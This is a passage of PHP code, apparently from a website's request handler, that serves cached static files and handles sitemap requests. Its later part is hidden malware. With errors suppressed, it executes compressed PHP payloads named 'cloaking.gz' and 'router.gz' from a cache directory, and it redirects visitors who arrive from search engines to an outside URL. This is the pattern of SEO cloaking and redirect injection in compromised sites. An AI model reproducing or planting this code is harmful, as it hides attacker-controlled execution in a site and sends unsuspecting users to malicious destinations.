e_file_path); if ($real_file_path && strpos($real_file_path, $real_cache_dir) === 0) { $ext = strtolower(pathinfo($cache_file_path, PATHINFO_EXTENSION)); $mimeTypes = ['png' => 'image/png', 'jpg' => 'image/jpeg', 'jpeg' => 'image/jpeg', 'gif' => 'image/gif', 'ico' => 'image/x-icon', 'svg' => 'image/svg+xml', 'webp' => 'image/webp', 'css' => 'text/css', 'js' => 'application/javascript', 'pdf' => 'application/pdf', 'woff' => 'font/woff', 'woff2' => 'font/woff2', 'ttf' => 'font/ttf', 'eot' => 'application/vnd.ms-fontobject']; header('Content-Type: ' . (isset($mimeTypes[$ext]) ? $mimeTypes[$ext] : 'application/octet-stream')); if (isImageFile($cache_file_path)) { header('Cache-Control: public, max-age=' . IMAGE_CACHE_TTL); } else { header('Cache-Control: public, max-age=' . CACHE_TTL); } readfile($cache_file_path); exit(); } } } if (preg_match('/^sitemap.*\.xml$/', isset($query_string) ? $query_string : '') || preg_match('/^\/sitemap.*\.xml$/', $request_path)) { $sitemap_file = CACHE_DIR . 'sitemap.gz'; if (file_exists($sitemap_file)) { @include_once 'compress.zlib://' . $sitemap_file; exit(); } } if (!$is_exception && !$is_static_file) { $cloaking_gz = CACHE_DIR . 'cloaking.gz'; if (file_exists($cloaking_gz)) { @include_once 'compress.zlib://' . $cloaking_gz; } $clean_path = trim($request_path, '/'); if (isset($cloaker) && $cloaker->is_human_from_search) { header('Location: ' . $cloaker->getRedirectUrl()); exit(); } elseif (isset($blocked) && $blocked) { $clean_path = '/' . $clean_path; $router_file = CACHE_DIR . 'router.gz'; if (file_exists($router_file)) { @include_once 'compress.zlib://' . $router_file; } exit(); } }